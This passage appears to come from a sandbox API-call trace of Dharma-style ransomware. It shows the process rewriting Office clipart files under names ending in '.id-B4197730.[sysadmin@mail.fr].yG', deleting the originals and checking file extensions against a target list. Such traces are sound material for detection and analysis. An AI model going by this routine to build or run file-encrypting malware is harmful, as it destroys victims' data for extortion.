	[0054.295] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.295] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0054.296] GetLastError () returned 0x0
	[0054.296] ReadFile (in: hFile=0x34c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x5b8, lpOverlapped=0x0) returned 1
	[0054.383] WriteFile (in: hFile=0x39c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x5c0, lpOverlapped=0x0) returned 1
	[0054.384] ReadFile (in: hFile=0x34c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.384] WriteFile (in: hFile=0x39c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.384] SetEndOfFile (hFile=0x39c) returned 1
	[0054.384] CloseHandle (hObject=0x39c) returned 1
	[0054.385] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.385] SetEndOfFile (hFile=0x34c) returned 1
	[0054.386] CloseHandle (hObject=0x34c) returned 1
	[0054.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 1
	[0054.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0054.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0054.386] lstrlenW (lpString=".doc") returned 4
	[0054.386] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.387] lstrlenW (lpString=".docx") returned 5
	[0054.387] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.387] lstrlenW (lpString=".pdf") returned 4
	[0054.387] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.387] lstrlenW (lpString=".xls") returned 4
	[0054.387] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.387] lstrlenW (lpString=".xlsx") returned 5
	[0054.387] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.387] lstrlenW (lpString=".ppt") returned 4
	[0054.387] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0054.387] lstrlenW (lpString=".zip") returned 4
	[0054.387] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.387] lstrlenW (lpString=".rar") returned 4
	[0054.387] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.387] lstrlenW (lpString=".bz2") returned 4
	[0054.387] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.387] lstrlenW (lpString=".7z") returned 3
	[0054.387] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0054.387] lstrlenW (lpString=".dbf") returned 4
	[0054.387] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0054.387] lstrlenW (lpString=".1cd") returned 4
	[0054.387] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0054.387] lstrlenW (lpString=".jpg") returned 4
	[0054.387] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.400] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.400] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0054.409] GetLastError () returned 0x0
	[0054.409] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x1f86, lpOverlapped=0x0) returned 1
	[0054.440] WriteFile (in: hFile=0x2ec, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x1f90, lpOverlapped=0x0) returned 1
	[0054.440] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.440] WriteFile (in: hFile=0x2ec, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.441] SetEndOfFile (hFile=0x2ec) returned 1
	[0054.441] CloseHandle (hObject=0x2ec) returned 1
	[0054.442] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.442] SetEndOfFile (hFile=0x350) returned 1
	[0054.442] CloseHandle (hObject=0x350) returned 1
	[0054.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.443] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 1
	[0054.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0054.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0054.443] lstrlenW (lpString=".doc") returned 4
	[0054.443] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.443] lstrlenW (lpString=".docx") returned 5
	[0054.443] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.443] lstrlenW (lpString=".pdf") returned 4
	[0054.444] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.444] lstrlenW (lpString=".xls") returned 4
	[0054.444] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.444] lstrlenW (lpString=".xlsx") returned 5
	[0054.444] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.444] lstrlenW (lpString=".ppt") returned 4
	[0054.444] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0054.444] lstrlenW (lpString=".zip") returned 4
	[0054.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.444] lstrlenW (lpString=".rar") returned 4
	[0054.444] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.444] lstrlenW (lpString=".bz2") returned 4
	[0054.444] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.444] lstrlenW (lpString=".7z") returned 3
	[0054.444] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0054.444] lstrlenW (lpString=".dbf") returned 4
	[0054.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0054.444] lstrlenW (lpString=".1cd") returned 4
	[0054.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0054.444] lstrlenW (lpString=".jpg") returned 4
	[0054.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.444] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.444] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0054.445] GetLastError () returned 0x0
	[0054.445] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x386c, lpOverlapped=0x0) returned 1
	[0054.459] WriteFile (in: hFile=0x2ec, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x3870, lpOverlapped=0x0) returned 1
	[0054.460] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.460] WriteFile (in: hFile=0x2ec, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.460] SetEndOfFile (hFile=0x2ec) returned 1
	[0054.460] CloseHandle (hObject=0x2ec) returned 1
	[0054.461] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.461] SetEndOfFile (hFile=0x350) returned 1
	[0054.462] CloseHandle (hObject=0x350) returned 1
	[0054.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.462] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 1
	[0054.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0054.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0054.462] lstrlenW (lpString=".doc") returned 4
	[0054.462] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.463] lstrlenW (lpString=".docx") returned 5
	[0054.463] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.463] lstrlenW (lpString=".pdf") returned 4
	[0054.463] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.463] lstrlenW (lpString=".xls") returned 4
	[0054.463] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.463] lstrlenW (lpString=".xlsx") returned 5
	[0054.463] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.463] lstrlenW (lpString=".ppt") returned 4
	[0054.463] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0054.463] lstrlenW (lpString=".zip") returned 4
	[0054.463] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.463] lstrlenW (lpString=".rar") returned 4
	[0054.463] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.463] lstrlenW (lpString=".bz2") returned 4
	[0054.463] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.463] lstrlenW (lpString=".7z") returned 3
	[0054.463] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0054.463] lstrlenW (lpString=".dbf") returned 4
	[0054.463] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0054.463] lstrlenW (lpString=".1cd") returned 4
	[0054.463] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0054.463] lstrlenW (lpString=".jpg") returned 4
	[0054.463] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.464] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.464] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0054.464] GetLastError () returned 0x0
	[0054.464] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x6c8, lpOverlapped=0x0) returned 1
	[0054.494] WriteFile (in: hFile=0x2ec, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x6d0, lpOverlapped=0x0) returned 1
	[0054.496] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.496] WriteFile (in: hFile=0x2ec, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.497] SetEndOfFile (hFile=0x2ec) returned 1
	[0054.497] CloseHandle (hObject=0x2ec) returned 1
	[0054.497] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.497] SetEndOfFile (hFile=0x350) returned 1
	[0054.498] CloseHandle (hObject=0x350) returned 1
	[0054.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.498] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 1
	[0054.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0054.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0054.499] lstrlenW (lpString=".doc") returned 4
	[0054.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.499] lstrlenW (lpString=".docx") returned 5
	[0054.499] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.499] lstrlenW (lpString=".pdf") returned 4
	[0054.499] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.499] lstrlenW (lpString=".xls") returned 4
	[0054.499] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.499] lstrlenW (lpString=".xlsx") returned 5
	[0054.499] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.499] lstrlenW (lpString=".ppt") returned 4
	[0054.499] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0054.499] lstrlenW (lpString=".zip") returned 4
	[0054.499] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.499] lstrlenW (lpString=".rar") returned 4
	[0054.499] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.499] lstrlenW (lpString=".bz2") returned 4
	[0054.499] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.499] lstrlenW (lpString=".7z") returned 3
	[0054.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0054.499] lstrlenW (lpString=".dbf") returned 4
	[0054.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0054.499] lstrlenW (lpString=".1cd") returned 4
	[0054.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0054.499] lstrlenW (lpString=".jpg") returned 4
	[0054.499] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.500] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.500] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0054.500] GetLastError () returned 0x0
	[0054.500] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x1498, lpOverlapped=0x0) returned 1
	[0054.507] WriteFile (in: hFile=0x2ec, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x14a0, lpOverlapped=0x0) returned 1
	[0054.508] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.508] WriteFile (in: hFile=0x2ec, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.508] SetEndOfFile (hFile=0x2ec) returned 1
	[0054.508] CloseHandle (hObject=0x2ec) returned 1
	[0054.509] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.509] SetEndOfFile (hFile=0x350) returned 1
	[0054.510] CloseHandle (hObject=0x350) returned 1
	[0054.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 1
	[0054.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0054.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0054.511] lstrlenW (lpString=".doc") returned 4
	[0054.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.511] lstrlenW (lpString=".docx") returned 5
	[0054.511] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.511] lstrlenW (lpString=".pdf") returned 4
	[0054.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.511] lstrlenW (lpString=".xls") returned 4
	[0054.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.511] lstrlenW (lpString=".xlsx") returned 5
	[0054.511] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.511] lstrlenW (lpString=".ppt") returned 4
	[0054.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0054.511] lstrlenW (lpString=".zip") returned 4
	[0054.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.511] lstrlenW (lpString=".rar") returned 4
	[0054.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.511] lstrlenW (lpString=".bz2") returned 4
	[0054.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.511] lstrlenW (lpString=".7z") returned 3
	[0054.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0054.511] lstrlenW (lpString=".dbf") returned 4
	[0054.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0054.511] lstrlenW (lpString=".1cd") returned 4
	[0054.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0054.511] lstrlenW (lpString=".jpg") returned 4
	[0054.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.512] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.512] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0054.512] GetLastError () returned 0x0
	[0054.512] ReadFile (in: hFile=0x350, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0xec4, lpOverlapped=0x0) returned 1
	[0054.519] WriteFile (in: hFile=0x2ec, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xed0, lpOverlapped=0x0) returned 1
